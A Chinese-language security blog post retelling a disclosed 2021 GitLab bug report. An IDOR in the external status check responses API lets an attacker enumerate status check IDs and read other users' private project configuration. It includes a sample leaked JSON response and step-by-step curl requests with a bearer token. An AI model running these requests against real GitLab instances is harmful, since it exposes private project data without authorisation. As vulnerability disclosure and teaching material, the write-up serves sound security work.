gitlab漏洞系列-“外部状态检查”API泄漏关于实例的状态检查的数据

gitlab漏洞系列-“外部状态检查”API泄漏关于实例的状态检查的数据

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景
这个漏洞是joaxcar小哥在2021年10月份提交的:

用于从外部状态检查返回批准的API接口包含一个IDOR,该IDOR允许用户列出关于GitLab实例上所有外部状态检查的信息。该功能是一个终极版功能(注:终极版一般都是付费的),但可以在GitLab.com上试用。所以攻击的是可能是一个常规帐户。

当配置了外部状态检查时,项目将向指定的端点发送关于MRs的信息。然后可以配置这个端点来响应“通过”状态检查的请求。文档详见: https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html;这个API的接口是:


POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses

关键参数为sha和external_status_check_id。这个参数告诉GitLab请求的目标是哪个外部状态检查。从GitLab返回的是JSON,包含关于MR的信息,但也包含关于状态检查配置的信息。通过修改发送的ID,用户可以获得实例上任何状态检查的信息(甚至来自Private的项目)。

关于状态检查的泄露信息可能包含:

私有项目名称和ID
状态检查名称
私有地址到外部状态检查工具
状态检查所连接的受保护分支的名称、ID
受保护分支的访问规则,如果配置了,还可以访问允许访问的用户名

"external_status_check": {  
    "id": 10,  
    "name": "Name of status check",  
    "project_id": 33,  
    "external_url": "https://victim.service.com",  
    "protected_branches": [  
      {  
        "id": 24,  
        "name": "Name of protected branch",  
        "push_access_levels": [  
          {  
            "access_level": 40,  
            "access_level_description": "Name of user with access to protected branch",  
            "user_id": 2,  
            "group_id": null  
          },  
          {  
            "access_level": 30,  
            "access_level_description": "Developers + Maintainers",  
            "user_id": null,  
            "group_id": null  
          }  
        ],  
        "merge_access_levels": [  
          {  
            "access_level": 30,  
            "access_level_description": "Developers + Maintainers",  
            "user_id": null,  
            "group_id": null  
          },  
          {  
            "access_level": 40,  
            "access_level_description": "Name of user with access",  
            "user_id": 2,  
            "group_id": null  
          }  
        ],  
        "allow_force_push": true,  
        "unprotect_access_levels": [],  
        "code_owner_approval_required": true  
      }  






复现步骤
1.创建两个用户:受害用户victim01和攻击用户attacker01

2.以victim01的身份登录,并在https://gitlab.domain.com/projects/new#blank_project上创建一个名为victim_project的新私有项目

3.转到项目设置https://gitlab.domain.com/victim01/victim_project/edit,在“General”下展开“Merge request”。向下滚动到“状态检查”,然后单击“新建”

4.将状态检查命名为“受害者状态检查”,并输入API端点https://victim.hidden.com。

5.点击保存

6.登出并以attacker01登陆

7.再次执行步骤2到5,但将项目命名为attacker_project并进行状态检查。记下项目的ID。我们称之为attackid

8.在 https://gitlab.domain.com/attacker01/attacker_project/-/branches/new创建分支attacker_project

9.当分支被创建时,点击Create new merge request。将MR随意命名并单击创建。

10.访问https://gitlab.domain.com/-/profile/personal_access_tokens并为attacker01创建一个访问令牌,我们将其称为TOKEN

11.打开终端并发出此请求(这里的SHA只是“a”,我们将得到正确的响应)


curl --request POST \  
  --url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=a&external_status_check_id=2' \  
  --header 'Authorization: Bearer <TOKEN>'  
12.这个初始请求将返回一个错误,主要是返回正确的sha是< sha >这样的信息

13.现在发送正确的SHA:


curl --request POST \  
  --url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=2' \  
  --header 'Authorization: Bearer <TOKEN>'  
14.我们将得到一个响应,其中包含关于MR的信息,最后是关于状态检查的信息

15.现在再次发送相同的请求,但将状态检查id更改为1


curl --request POST \  
  --url 'https://gitlab.domain.com/api/v4/projects/<ATTACKID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=1' \  
  --header 'Authorization: Bearer <TOKEN>'  
16.同样的MR信息会被返回,但是最后会有来自victim_project的关于私有状态检查的信息




作者:richardo1o1


欢迎关注微信公众号 :迪哥讲事